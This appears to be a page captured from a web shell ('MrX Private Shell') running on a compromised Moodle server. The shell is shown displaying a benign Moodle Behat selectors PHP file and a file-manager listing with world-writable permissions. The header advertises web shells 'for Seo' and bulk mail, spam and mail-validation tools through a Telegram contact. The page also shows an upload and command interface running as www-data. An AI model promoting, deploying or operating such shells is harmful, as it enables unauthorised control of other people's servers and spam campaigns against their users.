__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Moodle-specific selectors.
 *
 * @package    core
 * @category   test
 * @copyright  2013 David Monllaó
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

require_once(__DIR__ . '/named_selector.php');
require_once(__DIR__ . '/exact_named_selector.php');
require_once(__DIR__ . '/partial_named_selector.php');

use Behat\Mink\Exception\ExpectationException as ExpectationException;
use Behat\Mink\Element\Element;

/**
 * Moodle selectors manager.
 *
 * @package    core
 * @category   test
 * @copyright  2013 David Monllaó
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class behat_selectors {

    /**
     * Returns the behat selector and locator for a given moodle selector and locator
     *
     * @param string $selectortype The moodle selector type, which includes moodle selectors
     * @param string $element The locator we look for in that kind of selector
     * @param Session $session The Mink opened session
     * @return array Contains the selector and the locator expected by Mink.
     */
    public static function get_behat_selector($selectortype, $element, Behat\Mink\Session $session) {
        // Note: This function is not deprecated, but not the recommended way of doing things.
        [
            'selector' => $selector,
            'locator' => $locator,
        ] = $session->normalise_selector($selectortype, $element, $session->getPage());

        // CSS and XPath selectors locator is one single argument.
        return [$selector, $locator];
    }

    /**
     * Allowed selectors getter.
     *
     * @return array
     */
    public static function get_allowed_selectors() {
        return array_merge(
            behat_partial_named_selector::get_allowed_selectors(),
            behat_exact_named_selector::get_allowed_selectors()
        );
    }

    /**
     * Allowed text selectors getter.
     *
     * @return array
     */
    public static function get_allowed_text_selectors() {
        return array_merge(
            behat_partial_named_selector::get_allowed_text_selectors(),
            behat_exact_named_selector::get_allowed_text_selectors()
        );
    }

    /**
     * Normalise the selector and locator for a named partial.
     *
     * @param string $selector The selector name
     * @param string $locator The value to normalise
     * @return array
     */
    public static function normalise_named_selector(string $selector, string $locator): array {
        return [
            $selector,
            behat_context_helper::escape($locator),
        ];
    }

    /**
     * Transform the selector for a field.
     *
     * @param string $label The label to find
     * @param Element $container The container to look within
     * @return array The selector, locator, and container to search within
     */
    public static function transform_find_for_field(behat_base $context, string $label, Element $container): array {
        $hasfieldset = strpos($label, '>');
        if (false !== $hasfieldset) {
            [$containerlabel, $label] = explode(">", $label, 2);
            $container = $context->find_fieldset(trim($containerlabel), $container);
            $label = trim($label);
        }

        return [
            'selector' => 'named_partial',
            'locator' => self::normalise_named_selector('field', $label),
            'container' => $container,
        ];
    }
}

Filemanager

Name Type Size Permission Actions
behat_command.php File 9.49 KB 0777
behat_config_manager.php File 10.06 KB 0777
behat_config_util.php File 56.58 KB 0777
behat_context_helper.php File 6.24 KB 0777
behat_core_generator.php File 47.02 KB 0777
behat_generator_base.php File 22.41 KB 0777
behat_selectors.php File 4.03 KB 0777
behat_session_interface.php File 2.03 KB 0777
behat_session_trait.php File 66.1 KB 0777
component_named_replacement.php File 2.96 KB 0777
component_named_selector.php File 4.42 KB 0777
exact_named_selector.php File 2.62 KB 0777
named_selector.php File 4.11 KB 0777
partial_named_selector.php File 15.71 KB 0777
settable_editor.php File 1.2 KB 0777
util.php File 18.13 KB 0777
Filemanager